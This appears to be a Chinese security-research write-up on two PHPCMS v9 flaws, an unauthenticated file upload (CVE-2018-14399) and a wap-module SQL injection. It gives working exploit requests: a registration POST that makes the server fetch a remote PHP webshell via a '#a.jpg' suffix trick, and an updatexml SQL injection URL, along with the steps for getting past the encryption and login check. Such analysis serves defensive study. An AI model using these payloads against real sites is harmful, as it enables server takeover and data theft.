任意文件上传(CVE-2018-14399) + wap模块 SQL注入
任意文件上传(CVE-2018-14399)
漏洞复现
漏洞危害:该漏洞可以在用户注册界面以未授权的情况下实现任意文件上传。
漏洞触发位置在 会员注册 这个界面。地址为 ip/index.php?m=member&c=index&a=register&siteid=1
POST参数如下
siteid=1&modelid=11&username=P2hm1n&password=P2hm1n&email=123456@qq.com&info[content]=<img src=你的shell>&dosubmit=1&protocol= |
访问爆出上传地址
能shell
漏洞分析
文件目录 phpcms/modules/member/index.php
index.php
大致实现功能:会员前台管理中心、账号管理、收藏操作类
触发漏洞点方法是 register
大致逻辑是 获取用户siteid,定义站点id常量,加载用户模块配置,加载短信模块配置
第 134-135 行 发现可控变量 $_POST[‘info’]
经过漏洞复现我们可以知道这是 exp 的关键参数
先看 134 行的处理,将 $_POST[‘info’]
这个参数经过了new_html_special_chars
这个函数过滤。跟进函数分析
/** |
主要功能是做了 html 转义。对我们漏洞利用没有太大阻碍。接着跟进一下 135行的 $member_input->get()
方法
方法位置:caches/caches_model/caches_data/member_input.class.php
function get($data) { |
首先将 data 经过一个 trim_script
的处理。但是 trim_script
大多都是处理 xss 有关漏洞的过滤。几个正则将xss的关键 payload 进行了替换
第27行,核心 if 判断条件 if(is_array($data))
。我们 payload 中 info[content]=<img src=你的shell>
就是一个数组。因此继续跟进,发现将数组进行遍历,键名为$field
,键值为$value
第30行,$field
进行一次 safe_replace
处理。主要过滤一些类似单引号,尖括号等可能产生 XSS,SQL注入的符号
之后经过一些注册时正常的判断逻辑代码
47-48行
$func = $this->fields[$field]['formtype']; |
先是定义了一个 $func
,然后下面的if语句判断方法如果存在就带入这个函数。
挨个查看方法中,在 editor
方法中 的一句话。调用了 attachment
类的 download
函数
$value = $this->attachment->download('content', $value,$watermark_enable); |
跟进文件 phpcms/libs/classes/attachment.class.php
/** |
首先限制了其中 $ext
只允许为gif|jpg|jpeg|bmp|png
153行 进行了一个过滤
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; |
这里匹配了src
或href
中文件的文件名,不过后缀为$ext
,其中$ext
的值为:gif|jpg|jpeg|bmp|png
http://ip/p2hm1n.php#a.jpg
即可绕过正则
158行 使用了 fillurl
函数远程加载资源,还吧 # 之后的字符全部移除
$pos = strpos($surl,'#'); |
P2hm1n.php#a.jpg
会被处理成 P2hm1n.php
之后调用 download
方法。程序直接调用 copy
函数将远程文件复制到本地
wap模块 SQL注入
漏洞复现
访问 http://phpcms/index.php?m=wap&a=index&siteid=1
PS: 默认安装是不具备war模块的,跟进后台看了一下,好像跟手机门户网站有关,但其实并不影响漏洞的利用
直接发包至 repeater 模块。
将返回的 Set-Cookie
中TVAUD_siteid
值附值给 userid_flash
变量
因此 userid_flash=fe769BR9LpUDtV0xv0EoUJLPLr5-mlaX47zTpfBY
访问
http://localhost/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26 |
并 POST 传参 userid_flash=fe769BR9LpUDtV0xv0EoUJLPLr5-mlaX47zTpfBY
将返回的 Set-Cookie
中TVAUD_att_json
值附值给 a_k
参数
GET型访问
http://phpcms/index.php?m=content&c=down&a_k=4639DgUMpurTOZjooOJq4TX6Y0Q_XVqujouwKcrfLTvAEJjgOjGhm4VLN5AZ3CQkIcSOFCoDh8V7NVmGuVvN6hrYV59KmsRC0SO-V_b6hLXhJxDw4DuOEQ1KS2RPKSae8keEN8PbbTo7fICqQnhDpFhUN5JSRgScbgnQggVE7d56earVmPST9Lw |
漏洞分析
漏洞触发点在 phpcms/modules/content/down.php
的 init()
函数
12 行 GET方式传入 a_k
参数
14 行 根据 DECODE
判断其 sys_auth
为一个解密函数。直接证明——》a_k
参数之前是经过加密的。这个解密流程其实很长,我们其实不用去看它的一个解密流程。
17 行 使用 parse_str()
函数处理 。 parse_str()
函数会自动对传入的值将其根据&
分割,然后解析到具体变量并注册变量,并且对内容进行URL解码操作。
26 行 引用未注册变量 array(‘id’=>$id)
,但这里的id
可以从parse_str
函数处理$a_k
后得到。且调用 get_one
方法。
get_one
方法定义点在 /phpcms/libs/classes/model.class.php
73-76行。跟进发现这里的 get_one
方法其实就是 SQL 查询。且用到了 sqls
方法。
跟进 sqls
方法,这里是对数组参数的一个处理过程。
且从头到位都没有对$id
参数进行过滤处理。因此存在 sql 注入漏洞
现在我们根据 从parse_str
函数处理$a_k
后得到的 id
推断出了存在 sql注入。但是由于之前我们推断中忽略的是一个解密流程。因此其实我们需要找到带有 sql注入payload 经过一次加密之后的 payload。
核心目的:构造加密后的 $a_k
变量
思路一:伪造加密过程:直接对应源码中加密代码,进行本地加解密。
产生问题:源码中对应的 auth_key 值来自服务器。且每个站点这个 auth_key 可能不一样。
思路二:寻找源码中调用此加密的地方。且可回显加密后代码
方法: 全局搜索 sys_auth 。phpcms\libs\classes\param.class.php
中存在 set_cookie
方法
寻找哪里没有过滤sql注入的传入点。且可通过 cookie 加密获得加密后 payload
关键点:phpcms/modules/attachment/attachments.php
的 swfupload_json
方法。
public function swfupload_json() { |
通过 GET 传入三个参数,第一个参数 aid
经过了 intval
函数处理,那么不太适合通过此处传入payload。第二个参数 src
经过了 safe_replace
处理。第三个 filename
通过 safe_replace
和 一次url 编码处理。之后做 json_encode
的操作,最终再调用 set_cookie
方法。
跟进一下 safe_replace
方法,发现是通过 str_replace
进行处理,且没有通过循环遍历来过滤,它只执行一次。那么两两组合一下,然后替换,从而达到 bypass 的效果。
但是在触发 set_cookie
的 swfupload_json
方法,之前有一定的条件。
在phpcms/modules/attachment/attachments.php
第十行的 attachments
类。其中 __construct
方法,相当于做类的初始化工作。其中有用户登录状态检测。21行限制 $this→userid
不能为空,否则跳转到登录界面
17 行 程序并没有检查 $this->userid
的有效性,所以只要传入的 userid_flash
是加密值就能够解密就可以通过检测。
获取 userid_flash
加密值:在phpcms/modules/wap/index.php
文件。通过 cookie 获取 $_GET[‘siteid’]
加密后的数据,然后再作为 $_POST[‘userid_flash’]
的值,即可绕过登录检测。
参考文章
https://mochazz.github.io/2019/07/18/phpcms%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/
https://www.hackersb.cn/hacker/219.html
https://www.freebuf.com/articles/web/202914.html
http://blog.nsfocus.net/phpcms-v9-6-content-module-sql-injection-vulnerability-analysis/